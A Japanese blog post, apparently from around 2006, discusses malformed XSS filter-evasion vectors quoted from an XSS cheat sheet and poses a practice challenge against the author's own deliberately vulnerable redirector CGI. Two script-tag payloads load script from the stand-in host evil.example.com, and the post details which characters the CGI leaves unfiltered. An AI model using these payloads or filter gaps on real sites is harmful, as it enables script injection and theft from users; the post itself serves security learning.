XSS Cheat Sheet を読んでいたら

<SCRIPT/!#$%&()*~+-_.,:;?@[/|\]^`=''SRC!#$%&()*~+-_.,:;?@[/|\]^`='http://evil.example.com/xss.js'></SCRIPT>

こんな畸形例がFirefoxで通るらしい。"<SCRIPT\s" != "<SCRIPT/XSS\s" とかどころじゃないので正しくフィルタリングしようねというお話し、ということでいいのかな? Rsnake氏、FirefoxのHTML parser を読んで発見したらしい。

<SCRIPT/=''SRC='http://evil.example.com/xss.js'></SCRIPT>

ちなみに上は前から時々気になっていた畸形例。IE,FF,O9で作動。実用性がほんのちょっとだけあるけど出番はめったにない。

XSS模擬アタック出題編

遊びでCGIを作りました。XSS脆弱性があります。模擬アタックをかけてみてください。

目標のスクリーンショット

上の図のように、勝手な英文を2行ほど、背景は黒で字は白く、表示して下さい。元々表示されるべきコンテンツが出ていてはいけません。URL欄は当該CGIのURLにしてください。変なURLに飛ばさないで下さいね。罠サイトの罠リンクをふませるだけで一発で決められるようにしてください。いったん、stardust.s2.xrea.comのCGIのページを出してから想定被害者の操作がワンクッション必要なものは点数が低いです。上記スクリーンで示されている領域で右クリックしてプロパティを見たときに、stardust.s2.xrea.xomのドメインのこのCGIのURLが表示されるようにもしてください。(上の説明用のスクリーンショットの画像相当を表示するだけという裏技があることに気がつきました。てへ。せっかくのXSSですから出来ればFORMまで作りこめる応用度までめざせると良いかもしれません。)出題の題意は以上です。

ちなみにWindowsXPwithSP2全パッチの上で、最新のブラウザにて手元の解答を元に上記のスクリーンショットを撮りました。他の環境で攻略できなかったらごめんなさいです。

以下、CGIの説明です。

CGIの本来の使い方。

http://stardust.s2.xrea.com/hatena/200607/redir.cgi?uri=http://www.google.com/

単純なリダイレクタです。uriパラメータで指定したアドレスに、HTTP応答ヘッダの302で行きます。

基本的にURLに使ってはいけない文字についてはエラー画面を返します。

但し、『<』『>』『"』については、本来URL文字列として禁止されなくてはいけないはずですがチェックを怠っており、そのまま素通りです。また、URL文字列としては使っても良いのでしょうが、『'』『&』はエスケープしていません。

『(』『)』『http』『document』が嫌われることがあります。『javascript』についてはチェックを怠っています。

なんだか凄く簡単に逝きそうな気がしてきませんか?私は非常に時間がかかりました。

解答はコメント欄なりトラックバックなりでどうぞ。メールにつきましてはご勘弁下さいませ。まことにすみませんがご褒美はありません。ヽ(´ー`)ノ